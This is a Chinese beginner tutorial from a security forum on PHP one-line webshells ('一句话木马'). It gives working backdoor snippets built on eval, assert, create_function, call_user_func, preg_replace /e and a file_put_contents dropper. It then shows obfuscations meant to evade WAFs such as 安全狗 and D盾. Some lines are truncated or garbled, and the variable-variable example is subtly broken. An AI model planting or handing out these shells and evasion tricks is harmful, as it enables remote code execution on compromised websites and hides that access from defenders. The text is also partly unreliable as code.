PHP之一句话木马

Waldo / 2018-09-22 16:46:35 / 浏览数 6689 新手 入门资料 顶(2) 踩(0)

什么是一句话木马

一句话木马就是只需要一行代码的木马，短短一行代码，就能做到和大马相当的功能。为了绕过waf的检测，一句话木马出现了无数中变形，但本质是不变的：木马的函数

我们如何发送命令，发送的命令如何执行？

我们可以通过GET ■POST ■COOKIE这三种方式向一个网站提交数据，一句话木马用$_GET[' ']■$_POST[' ']■$_COOKIE[' ']
接收我们传递的数据，并把接收的数据传递给一句话木马中执行命令的函数，进而执行命令。
所以看到的经典一句话木马大多都是只有两个部分，一个是可以执行代码的函数部分，一个是接收数据的部分。

例如：`<?php eval(@$_POST['a']); ?>`

其中eval就是执行命令的函数，$_POST['a']就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的

示例：

因为木马是接收post请求中 “a” 的数据（
$_POST[‘a’]），所以我们必须以post方法发送数据并且将我们要执行的代码赋值给“a”。如果把木马中的post替换成get，那么我么就需要以GET方法发送“a”，（
就像这样： http://127.0.0.1/test.php?a=phpinfo(); ）我就不再另行演示了。

使用 其他函数制作一句话木马

assert函数

```
<?php assert(@$_POST['a']); ?>
```

create_function函数

```
<?php
$fun = create_function('',$_POST['a']);
$fun();
?>
```

把用户传递的数据生成一个函数fun()，然后再执行fun()

call_user_func回调函数

```
<?php
@call_user_func(assert,$_POST['a']);
?>
```

call_user_func这个函数可以调用其它函数，被调用的函数是call_user_func的第一个函数，被调用的函数的参数是call_user_func的第二个参数。这样的一个语句也可以完成

preg_replace函数

```
<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>
```

这个函数原本是利用正则表达式替换符合条件的字符串，但是这个函数有一个功能——■■■■■。这个函数的第一个参数是正则表达式，按照PHP的格式，表达式在两个“/”之

file_put_contents函数

利用函数生成木马

```
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>
```

函数功能：生成一个文件，第一个参数是文件名，第二个参数是文件的内容。

如何让一句话木马绕过waf？

waf是网站的防火墙，例如安全狗就是waf的一种。waf通常以关键字判断是否为一句话木马，但是一句话木马的变形有很多种，waf根本不可能全部拦截。想要绕过waf，

PHP变量函数

```
<?php
$a = "eval";
$a(@$_POST['a']);
?>
```

第三行使用了变量函数$a，变量储存了函数名eval，便可以直接用变量替代函数名。

PHP可变变量

```
<?php
$bb="eval";
$a="bb";
$$aa($_POST['a']);
?>
```

看这句就能理解上述语句：`$$aa = $($aa) = $ (‘bb’) = $bb = "eval"`

str_replace函数

```
<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>
```

函数功能：在第三个参数中，查找第一个参数，并替换成第二个参数。这里第二个参数为空字符串，就相当于删除"Waldo"。

base64_decode函数

```
<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>
```

这里是base64解密函数，"ZXZhbA=="是eval的base64加密。

"."操作符

```
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
```

parse_str函数

```
<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>
```

执行这个函数后，生成一个变量$a，值为字符串"eval"

更多技巧...

■■■■■■■■
上述六种技巧每一种单独使用都不能绕过waf，但是与 第三大点提到的函数混合起来使用，就可以顺利的欺骗waf。
tips■■■■■■■■■■■■■■■■■■■■”@”■■■■■■■■php■■■■■■■■■■■■■■■■■■

再来一个小栗子

```
<?php
function fun()
{return $_POST['a'];}
@preg_replace("/test/e",fun(),"test test test");
?>
```

这里又有一个技巧，创建函数 fun()，返回post中”a”的数据。我的这个例子很明显是一句话木马，但是安全狗却扫不出，D盾也是如此。

上一篇：攻击者是如何利用Delphi加壳器... 下一篇：蓝鲸安全CTF打卡题——第一期隐写术
1. 0 条回复
   - 动动手指，沙发就是你的了！